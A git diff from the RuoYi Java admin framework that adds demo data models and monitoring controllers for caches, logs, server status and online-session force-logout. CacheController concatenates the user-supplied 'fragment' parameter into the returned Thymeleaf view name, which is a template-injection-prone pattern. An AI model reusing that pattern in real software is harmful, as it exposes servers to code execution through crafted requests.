+}
+
+class UserTableModel
+{
+    /** 用户ID */
+    private int userId;
+
+    /** 用户编号 */
+    @Excel(name = "用户编号", cellType = ColumnType.NUMERIC)
+    private String userCode;
+
+    /** 用户姓名 */
+    @Excel(name = "用户姓名")
+    private String userName;
+
+    /** 用户性别 */
+    private String userSex;
+
+    /** 用户手机 */
+    @Excel(name = "用户手机")
+    private String userPhone;
+
+    /** 用户邮箱 */
+    @Excel(name = "用户邮箱")
+    private String userEmail;
+
+    /** 用户余额 */
+    @Excel(name = "用户余额", cellType = ColumnType.NUMERIC)
+    private double userBalance;
+
+    /** 用户状态(0正常 1停用) */
+    private String status;
+
+    /** 创建时间 */
+    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
+    private Date createTime;
+
+    public UserTableModel()
+    {
+
+    }
+
+    public UserTableModel(int userId, String userCode, String userName, String userSex, String userPhone,
+            String userEmail, double userBalance, String status)
+    {
+        this.userId = userId;
+        this.userCode = userCode;
+        this.userName = userName;
+        this.userSex = userSex;
+        this.userPhone = userPhone;
+        this.userEmail = userEmail;
+        this.userBalance = userBalance;
+        this.status = status;
+        this.createTime = DateUtils.getNowDate();
+    }
+
+    public int getUserId()
+    {
+        return userId;
+    }
+
+    public void setUserId(int userId)
+    {
+        this.userId = userId;
+    }
+
+    public String getUserCode()
+    {
+        return userCode;
+    }
+
+    public void setUserCode(String userCode)
+    {
+        this.userCode = userCode;
+    }
+
+    public String getUserName()
+    {
+        return userName;
+    }
+
+    public void setUserName(String userName)
+    {
+        this.userName = userName;
+    }
+
+    public String getUserSex()
+    {
+        return userSex;
+    }
+
+    public void setUserSex(String userSex)
+    {
+        this.userSex = userSex;
+    }
+
+    public String getUserPhone()
+    {
+        return userPhone;
+    }
+
+    public void setUserPhone(String userPhone)
+    {
+        this.userPhone = userPhone;
+    }
+
+    public String getUserEmail()
+    {
+        return userEmail;
+    }
+
+    public void setUserEmail(String userEmail)
+    {
+        this.userEmail = userEmail;
+    }
+
+    public double getUserBalance()
+    {
+        return userBalance;
+    }
+
+    public void setUserBalance(double userBalance)
+    {
+        this.userBalance = userBalance;
+    }
+
+    public String getStatus()
+    {
+        return status;
+    }
+
+    public void setStatus(String status)
+    {
+        this.status = status;
+    }
+
+    public Date getCreateTime()
+    {
+        return createTime;
+    }
+
+    public void setCreateTime(Date createTime)
+    {
+        this.createTime = createTime;
+    }
+}
+class AreaModel
+{
+    /** 编号 */
+    private Long id;
+
+    /** 父编号 */
+    private Long parentId;
+
+    /** 区域名称 */
+    private String areaName;
+
+    /** 区域代码 */
+    private String areaCode;
+
+    /** 名称首字母 */
+    private String simplePy;
+
+    /** 名称全拼 */
+    private String pinYin;
+
+    /** 是否有子节点(0无 1有) */
+    private Integer isTreeLeaf = 1;
+
+    public AreaModel()
+    {
+
+    }
+
+    public AreaModel(int id, int parentId, String areaName, String areaCode, String simplePy, String pinYin, Integer isTreeLeaf)
+    {
+        this.id = Long.valueOf(id);
+        this.parentId = Long.valueOf(parentId);
+        this.areaName = areaName;
+        this.areaCode = areaCode;
+        this.simplePy = simplePy;
+        this.pinYin = pinYin;
+        this.isTreeLeaf = isTreeLeaf;
+    }
+
+    public Long getId()
+    {
+        return id;
+    }
+
+    public void setId(Long id)
+    {
+        this.id = id;
+    }
+
+    public Long getParentId()
+    {
+        return parentId;
+    }
+
+    public void setParentId(Long parentId)
+    {
+        this.parentId = parentId;
+    }
+
+    public String getAreaName()
+    {
+        return areaName;
+    }
+
+    public void setAreaName(String areaName)
+    {
+        this.areaName = areaName;
+    }
+
+    public String getAreaCode()
+    {
+        return areaCode;
+    }
+
+    public void setAreaCode(String areaCode)
+    {
+        this.areaCode = areaCode;
+    }
+
+    public String getSimplePy()
+    {
+        return simplePy;
+    }
+
+    public void setSimplePy(String simplePy)
+    {
+        this.simplePy = simplePy;
+    }
+
+    public String getPinYin()
+    {
+        return pinYin;
+    }
+
+    public void setPinYin(String pinYin)
+    {
+        this.pinYin = pinYin;
+    }
+
+    public Integer getIsTreeLeaf()
+    {
+        return isTreeLeaf;
+    }
+
+    public void setIsTreeLeaf(Integer isTreeLeaf)
+    {
+        this.isTreeLeaf = isTreeLeaf;
+    }
+}
+
+class DocumentModel
+{
+    /** 编号 */
+    private int tableId;
+
+    /** 档号 */
+    private String archiveNo;
+
+    /** 文件编号 */
+    private String docNo;
+
+    /** 标题 */
+    private String title;
+
+    /** 内容 */
+    private String content;
+
+    public DocumentModel()
+    {
+
+    }
+
+    public DocumentModel(int tableId, String archiveNo, String docNo, String title, String content)
+    {
+        this.tableId = tableId;
+        this.archiveNo = archiveNo;
+        this.docNo = docNo;
+        this.title = title;
+        this.content = content;
+    }
+
+    public int getTableId()
+    {
+        return tableId;
+    }
+
+    public String getArchiveNo()
+    {
+        return archiveNo;
+    }
+
+    public String getDocNo()
+    {
+        return docNo;
+    }
+
+    public String getTitle()
+    {
+        return title;
+    }
+
+    public String getContent()
+    {
+        return content;
+    }
+
+    public void setTableId(int tableId)
+    {
+        this.tableId = tableId;
+    }
+
+    public void setArchiveNo(String archiveNo)
+    {
+        this.archiveNo = archiveNo;
+    }
+
+    public void setDocNo(String docNo)
+    {
+        this.docNo = docNo;
+    }
+
+    public void setTitle(String title)
+    {
+        this.title = title;
+    }
+
+    public void setContent(String content)
+    {
+        this.content = content;
+    }
+}

+ 116 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/domain/CustomerModel.java

@@ -0,0 +1,116 @@
+package com.ruoyi.web.controller.demo.domain;
+
+import java.util.List;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+/**
+ * 客户测试信息
+ * 
+ * @author ruoyi
+ */
+public class CustomerModel
+{
+    /**
+     * 客户姓名
+     */
+    private String name;
+
+    /**
+     * 客户手机
+     */
+    private String phonenumber;
+
+    /**
+     * 客户性别
+     */
+    private String sex;
+
+    /**
+     * 客户生日
+     */
+    private String birthday;
+
+    /**
+     * 客户描述
+     */
+    private String remark;
+
+    /**
+     * 商品信息
+     */
+    private List<GoodsModel> goods;
+
+    public String getName()
+    {
+        return name;
+    }
+
+    public void setName(String name)
+    {
+        this.name = name;
+    }
+
+    public String getPhonenumber()
+    {
+        return phonenumber;
+    }
+
+    public void setPhonenumber(String phonenumber)
+    {
+        this.phonenumber = phonenumber;
+    }
+
+
+    public String getSex()
+    {
+        return sex;
+    }
+
+    public void setSex(String sex)
+    {
+        this.sex = sex;
+    }
+
+    public String getBirthday()
+    {
+        return birthday;
+    }
+
+    public void setBirthday(String birthday)
+    {
+        this.birthday = birthday;
+    }
+
+    public String getRemark()
+    {
+        return remark;
+    }
+
+    public void setRemark(String remark)
+    {
+        this.remark = remark;
+    }
+
+    public List<GoodsModel> getGoods()
+    {
+        return goods;
+    }
+
+    public void setGoods(List<GoodsModel> goods)
+    {
+        this.goods = goods;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("name", getName())
+            .append("phonenumber", getPhonenumber())
+            .append("sex", getSex())
+            .append("birthday", getBirthday())
+            .append("goods", getGoods())
+            .append("remark", getRemark())
+            .toString();
+    }
+}

+ 99 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/domain/GoodsModel.java

@@ -0,0 +1,99 @@
+package com.ruoyi.web.controller.demo.domain;
+
+import java.util.Date;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+/**
+ * 商品测试信息
+ * 
+ * @author ruoyi
+ */
+public class GoodsModel
+{
+    /**
+     * 商品名称
+     */
+    private String name;
+
+    /**
+     * 商品重量
+     */
+    private Integer weight;
+
+    /**
+     * 商品价格
+     */
+    private Double price;
+    
+    /**
+     * 商品日期
+     */
+    private Date date;
+
+    /**
+     * 商品种类
+     */
+    private String type;
+
+    public String getName()
+    {
+        return name;
+    }
+
+    public void setName(String name)
+    {
+        this.name = name;
+    }
+
+    public Integer getWeight()
+    {
+        return weight;
+    }
+
+    public void setWeight(Integer weight)
+    {
+        this.weight = weight;
+    }
+
+    public Double getPrice()
+    {
+        return price;
+    }
+
+    public void setPrice(Double price)
+    {
+        this.price = price;
+    }
+
+    public Date getDate()
+    {
+        return date;
+    }
+
+    public void setDate(Date date)
+    {
+        this.date = date;
+    }
+
+    public String getType()
+    {
+        return type;
+    }
+
+    public void setType(String type)
+    {
+        this.type = type;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("name", getName())
+            .append("weight", getWeight())
+            .append("price", getPrice())
+            .append("date", getDate())
+            .append("type", getType())
+            .toString();
+    }
+}

+ 149 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/domain/UserOperateModel.java

@@ -0,0 +1,149 @@
+package com.ruoyi.web.controller.demo.domain;
+
+import java.util.Date;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.annotation.Excel.Type;
+import com.ruoyi.common.core.domain.BaseEntity;
+import com.ruoyi.common.utils.DateUtils;
+
+public class UserOperateModel extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    private int userId;
+
+    @Excel(name = "用户编号")
+    private String userCode;
+
+    @Excel(name = "用户姓名")
+    private String userName;
+
+    @Excel(name = "用户性别", readConverterExp = "0=男,1=女,2=未知")
+    private String userSex;
+
+    @Excel(name = "用户手机")
+    private String userPhone;
+
+    @Excel(name = "用户邮箱")
+    private String userEmail;
+
+    @Excel(name = "用户余额")
+    private double userBalance;
+
+    @Excel(name = "用户状态", readConverterExp = "0=正常,1=停用")
+    private String status;
+
+    @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT)
+    private Date createTime;
+
+    public UserOperateModel()
+    {
+
+    }
+
+    public UserOperateModel(int userId, String userCode, String userName, String userSex, String userPhone,
+            String userEmail, double userBalance, String status)
+    {
+        this.userId = userId;
+        this.userCode = userCode;
+        this.userName = userName;
+        this.userSex = userSex;
+        this.userPhone = userPhone;
+        this.userEmail = userEmail;
+        this.userBalance = userBalance;
+        this.status = status;
+        this.createTime = DateUtils.getNowDate();
+    }
+
+    public int getUserId()
+    {
+        return userId;
+    }
+
+    public void setUserId(int userId)
+    {
+        this.userId = userId;
+    }
+
+    public String getUserCode()
+    {
+        return userCode;
+    }
+
+    public void setUserCode(String userCode)
+    {
+        this.userCode = userCode;
+    }
+
+    public String getUserName()
+    {
+        return userName;
+    }
+
+    public void setUserName(String userName)
+    {
+        this.userName = userName;
+    }
+
+    public String getUserSex()
+    {
+        return userSex;
+    }
+
+    public void setUserSex(String userSex)
+    {
+        this.userSex = userSex;
+    }
+
+    public String getUserPhone()
+    {
+        return userPhone;
+    }
+
+    public void setUserPhone(String userPhone)
+    {
+        this.userPhone = userPhone;
+    }
+
+    public String getUserEmail()
+    {
+        return userEmail;
+    }
+
+    public void setUserEmail(String userEmail)
+    {
+        this.userEmail = userEmail;
+    }
+
+    public double getUserBalance()
+    {
+        return userBalance;
+    }
+
+    public void setUserBalance(double userBalance)
+    {
+        this.userBalance = userBalance;
+    }
+
+    public String getStatus()
+    {
+        return status;
+    }
+
+    public void setStatus(String status)
+    {
+        this.status = status;
+    }
+
+    @Override
+    public Date getCreateTime()
+    {
+        return createTime;
+    }
+
+    @Override
+    public void setCreateTime(Date createTime)
+    {
+        this.createTime = createTime;
+    }
+}

+ 90 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java

@@ -0,0 +1,90 @@
+package com.ruoyi.web.controller.monitor;
+
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.framework.web.service.CacheService;
+
+/**
+ * 缓存监控
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/monitor/cache")
+public class CacheController extends BaseController
+{
+    private String prefix = "monitor/cache";
+
+    @Autowired
+    private CacheService cacheService;
+
+    @RequiresPermissions("monitor:cache:view")
+    @GetMapping()
+    public String cache(ModelMap mmap)
+    {
+        mmap.put("cacheNames", cacheService.getCacheNames());
+        return prefix + "/cache";
+    }
+
+    @RequiresPermissions("monitor:cache:view")
+    @PostMapping("/getNames")
+    public String getCacheNames(String fragment, ModelMap mmap)
+    {
+        mmap.put("cacheNames", cacheService.getCacheNames());
+        return prefix + "/cache::" + fragment;
+    }
+
+    @RequiresPermissions("monitor:cache:view")
+    @PostMapping("/getKeys")
+    public String getCacheKeys(String fragment, String cacheName, ModelMap mmap)
+    {
+        mmap.put("cacheName", cacheName);
+        mmap.put("cacheKeys", cacheService.getCacheKeys(cacheName));
+        return prefix + "/cache::" + fragment;
+    }
+
+    @RequiresPermissions("monitor:cache:view")
+    @PostMapping("/getValue")
+    public String getCacheValue(String fragment, String cacheName, String cacheKey, ModelMap mmap)
+    {
+        mmap.put("cacheName", cacheName);
+        mmap.put("cacheKey", cacheKey);
+        mmap.put("cacheValue", cacheService.getCacheValue(cacheName, cacheKey));
+        return prefix + "/cache::" + fragment;
+    }
+
+    @RequiresPermissions("monitor:cache:view")
+    @PostMapping("/clearCacheName")
+    @ResponseBody
+    public AjaxResult clearCacheName(String cacheName, ModelMap mmap)
+    {
+        cacheService.clearCacheName(cacheName);
+        return AjaxResult.success();
+    }
+
+    @RequiresPermissions("monitor:cache:view")
+    @PostMapping("/clearCacheKey")
+    @ResponseBody
+    public AjaxResult clearCacheKey(String cacheName, String cacheKey, ModelMap mmap)
+    {
+        cacheService.clearCacheKey(cacheName, cacheKey);
+        return AjaxResult.success();
+    }
+
+    @RequiresPermissions("monitor:cache:view")
+    @GetMapping("/clearAll")
+    @ResponseBody
+    public AjaxResult clearAll(ModelMap mmap)
+    {
+        cacheService.clearAll();
+        return AjaxResult.success();
+    }
+}

+ 26 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/DruidController.java

@@ -0,0 +1,26 @@
+package com.ruoyi.web.controller.monitor;
+
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import com.ruoyi.common.core.controller.BaseController;
+
+/**
+ * druid 监控
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/monitor/data")
+public class DruidController extends BaseController
+{
+    private String prefix = "/druid";
+
+    @RequiresPermissions("monitor:data:view")
+    @GetMapping()
+    public String index()
+    {
+        return redirect(prefix + "/index.html");
+    }
+}

+ 31 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java

@@ -0,0 +1,31 @@
+package com.ruoyi.web.controller.monitor;
+
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.framework.web.domain.Server;
+
+/**
+ * 服务器监控
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/monitor/server")
+public class ServerController extends BaseController
+{
+    private String prefix = "monitor/server";
+
+    @RequiresPermissions("monitor:server:view")
+    @GetMapping()
+    public String server(ModelMap mmap) throws Exception
+    {
+        Server server = new Server();
+        server.copyTo();
+        mmap.put("server", server);
+        return prefix + "/server";
+    }
+}

+ 94 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java

@@ -0,0 +1,94 @@
+package com.ruoyi.web.controller.monitor;
+
+import java.util.List;
+import com.ruoyi.framework.shiro.service.SysPasswordService;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysLogininfor;
+import com.ruoyi.system.service.ISysLogininforService;
+
+/**
+ * 系统访问记录
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/monitor/logininfor")
+public class SysLogininforController extends BaseController
+{
+    private String prefix = "monitor/logininfor";
+
+    @Autowired
+    private ISysLogininforService logininforService;
+
+    @Autowired
+    private SysPasswordService passwordService;
+
+    @RequiresPermissions("monitor:logininfor:view")
+    @GetMapping()
+    public String logininfor()
+    {
+        return prefix + "/logininfor";
+    }
+
+    @RequiresPermissions("monitor:logininfor:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysLogininfor logininfor)
+    {
+        startPage();
+        List<SysLogininfor> list = logininforService.selectLogininforList(logininfor);
+        return getDataTable(list);
+    }
+
+    @Log(title = "登录日志", businessType = BusinessType.EXPORT)
+    @RequiresPermissions("monitor:logininfor:export")
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysLogininfor logininfor)
+    {
+        List<SysLogininfor> list = logininforService.selectLogininforList(logininfor);
+        ExcelUtil<SysLogininfor> util = new ExcelUtil<SysLogininfor>(SysLogininfor.class);
+        return util.exportExcel(list, "登录日志");
+    }
+
+    @RequiresPermissions("monitor:logininfor:remove")
+    @Log(title = "登录日志", businessType = BusinessType.DELETE)
+    @PostMapping("/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(logininforService.deleteLogininforByIds(ids));
+    }
+    
+    @RequiresPermissions("monitor:logininfor:remove")
+    @Log(title = "登录日志", businessType = BusinessType.CLEAN)
+    @PostMapping("/clean")
+    @ResponseBody
+    public AjaxResult clean()
+    {
+        logininforService.cleanLogininfor();
+        return success();
+    }
+
+    @RequiresPermissions("monitor:logininfor:unlock")
+    @Log(title = "账户解锁", businessType = BusinessType.OTHER)
+    @PostMapping("/unlock")
+    @ResponseBody
+    public AjaxResult unlock(String loginName)
+    {
+        passwordService.clearLoginRecordCache(loginName);
+        return success();
+    }
+}

+ 90 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java

@@ -0,0 +1,90 @@
+package com.ruoyi.web.controller.monitor;
+
+import java.util.List;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysOperLog;
+import com.ruoyi.system.service.ISysOperLogService;
+
+/**
+ * 操作日志记录
+ * 
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/monitor/operlog")
+public class SysOperlogController extends BaseController
+{
+    private String prefix = "monitor/operlog";
+
+    @Autowired
+    private ISysOperLogService operLogService;
+
+    @RequiresPermissions("monitor:operlog:view")
+    @GetMapping()
+    public String operlog()
+    {
+        return prefix + "/operlog";
+    }
+
+    @RequiresPermissions("monitor:operlog:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysOperLog operLog)
+    {
+        startPage();
+        List<SysOperLog> list = operLogService.selectOperLogList(operLog);
+        return getDataTable(list);
+    }
+
+    @Log(title = "操作日志", businessType = BusinessType.EXPORT)
+    @RequiresPermissions("monitor:operlog:export")
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysOperLog operLog)
+    {
+        List<SysOperLog> list = operLogService.selectOperLogList(operLog);
+        ExcelUtil<SysOperLog> util = new ExcelUtil<SysOperLog>(SysOperLog.class);
+        return util.exportExcel(list, "操作日志");
+    }
+
+    @Log(title = "操作日志", businessType = BusinessType.DELETE)
+    @RequiresPermissions("monitor:operlog:remove")
+    @PostMapping("/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(operLogService.deleteOperLogByIds(ids));
+    }
+
+    @RequiresPermissions("monitor:operlog:detail")
+    @GetMapping("/detail/{operId}")
+    public String detail(@PathVariable("operId") Long operId, ModelMap mmap)
+    {
+        mmap.put("operLog", operLogService.selectOperLogById(operId));
+        return prefix + "/detail";
+    }
+    
+    @Log(title = "操作日志", businessType = BusinessType.CLEAN)
+    @RequiresPermissions("monitor:operlog:remove")
+    @PostMapping("/clean")
+    @ResponseBody
+    public AjaxResult clean()
+    {
+        operLogService.cleanOperLog();
+        return success();
+    }
+}

+ 167 - 0
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java

@@ -0,0 +1,167 @@
+package com.ruoyi.web.controller.monitor;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Deque;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.shiro.authz.annotation.Logical;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.apache.shiro.cache.Cache;
+import org.apache.shiro.session.Session;
+import org.apache.shiro.subject.SimplePrincipalCollection;
+import org.apache.shiro.subject.support.DefaultSubjectContext;
+import org.crazycake.shiro.RedisCacheManager;
+import org.crazycake.shiro.RedisSessionDAO;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.constant.ShiroConstants;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.domain.entity.SysUser;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.ShiroUtils;
+import com.ruoyi.common.utils.StringUtils;
+import com.ruoyi.common.utils.spring.SpringUtils;
+import com.ruoyi.system.domain.SysUserOnline;
+
+/**
+ * 在线用户监控
+ *
+ * @author ruoyi
+ */
+@Controller
+@RequestMapping("/monitor/online")
+public class SysUserOnlineController extends BaseController
+{
+    private String prefix = "monitor/online";
+
+    @Autowired
+    private RedisSessionDAO redisSessionDAO;
+
+    @RequiresPermissions("monitor:online:view")
+    @GetMapping()
+    public String online()
+    {
+        return prefix + "/online";
+    }
+
+    @RequiresPermissions("monitor:online:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysUserOnline userOnline)
+    {
+        String ipaddr = userOnline.getIpaddr();
+        String loginName = userOnline.getLoginName();
+        TableDataInfo rspData = new TableDataInfo();
+        Collection<Session> sessions = redisSessionDAO.getActiveSessions();
+        Iterator<Session> it = sessions.iterator();
+        List<SysUserOnline> sessionList = new ArrayList<SysUserOnline>();
+        while (it.hasNext())
+        {
+            SysUserOnline user = getSession(it.next());
+            if (StringUtils.isNotNull(user))
+            {
+                if (StringUtils.isNotEmpty(ipaddr) && StringUtils.isNotEmpty(loginName))
+                {
+                    if (StringUtils.equals(ipaddr, user.getIpaddr())
+                            && StringUtils.equals(loginName, user.getLoginName()))
+                    {
+                        sessionList.add(user);
+                    }
+                }
+                else if (StringUtils.isNotEmpty(ipaddr))
+                {
+                    if (StringUtils.equals(ipaddr, user.getIpaddr()))
+                    {
+                        sessionList.add(user);
+                    }
+                }
+                else if (StringUtils.isNotEmpty(loginName))
+                {
+                    if (StringUtils.equals(loginName, user.getLoginName()))
+                    {
+                        sessionList.add(user);
+                    }
+                }
+                else
+                {
+                    sessionList.add(user);
+                }
+            }
+        }
+        rspData.setRows(sessionList);
+        rspData.setTotal(sessionList.size());
+        return rspData;
+    }
+
+    @RequiresPermissions(value = { "monitor:online:batchForceLogout", "monitor:online:forceLogout" }, logical = Logical.OR)
+    @Log(title = "在线用户", businessType = BusinessType.FORCE)
+    @PostMapping("/batchForceLogout")
+    @ResponseBody
+    public AjaxResult batchForceLogout(@RequestBody List<SysUserOnline> sysUserOnlines)
+    {
+        for (SysUserOnline userOnline : sysUserOnlines)
+        {
+            String sessionId = userOnline.getSessionId();
+            String loginName = userOnline.getLoginName();
+            if (sessionId.equals(ShiroUtils.getSessionId()))
+            {
+                return error("当前登录用户无法强退");
+            }
+            redisSessionDAO.delete(redisSessionDAO.readSession(sessionId));
+            removeUserCache(loginName, sessionId);
+        }
+        return success();
+    }
+
+    private SysUserOnline getSession(Session session)
+    {
+        Object obj = session.getAttribute(DefaultSubjectContext.PRINCIPALS_SESSION_KEY);
+        if (null == obj)
+        {
+            return null;
+        }
+        if (obj instanceof SimplePrincipalCollection)
+        {
+            SimplePrincipalCollection spc = (SimplePrincipalCollection) obj;
+            obj = spc.getPrimaryPrincipal();
+            if (null != obj && obj instanceof SysUser)
+            {
+                SysUser sysUser = (SysUser) obj;
+                SysUserOnline userOnline = new SysUserOnline();
+                userOnline.setSessionId(session.getId().toString());
+                userOnline.setLoginName(sysUser.getLoginName());
+                if (StringUtils.isNotNull(sysUser.getDept()) && StringUtils.isNotEmpty(sysUser.getDept().getDeptName()))
+                {
+                    userOnline.setDeptName(sysUser.getDept().getDeptName());
+                }
+                userOnline.setIpaddr(session.getHost());
+                userOnline.setStartTimestamp(session.getStartTimestamp());
+                userOnline.setLastAccessTime(session.getLastAccessTime());
+                return userOnline;
+            }
+        }
+        return null;
+    }
+
+    public void removeUserCache(String loginName, String sessionId)
+    {
+        Cache<String, Deque<Serializable>> cache = SpringUtils.getBean(RedisCacheManager.class).getCache(ShiroConstants.SYS_USERCACHE);
+        Deque<Serializable> deque = cache.get(loginName);
+        if (StringUtils.isEmpty(deque) || deque.size() == 0)
+        {
+            return;
+        }
+        deque.remove(sessionId);
+        cache.put(loginName, deque);
+    }
+}

Certains fichiers n'ont pas été affichés car il y a eu trop de fichiers modifiés dans ce diff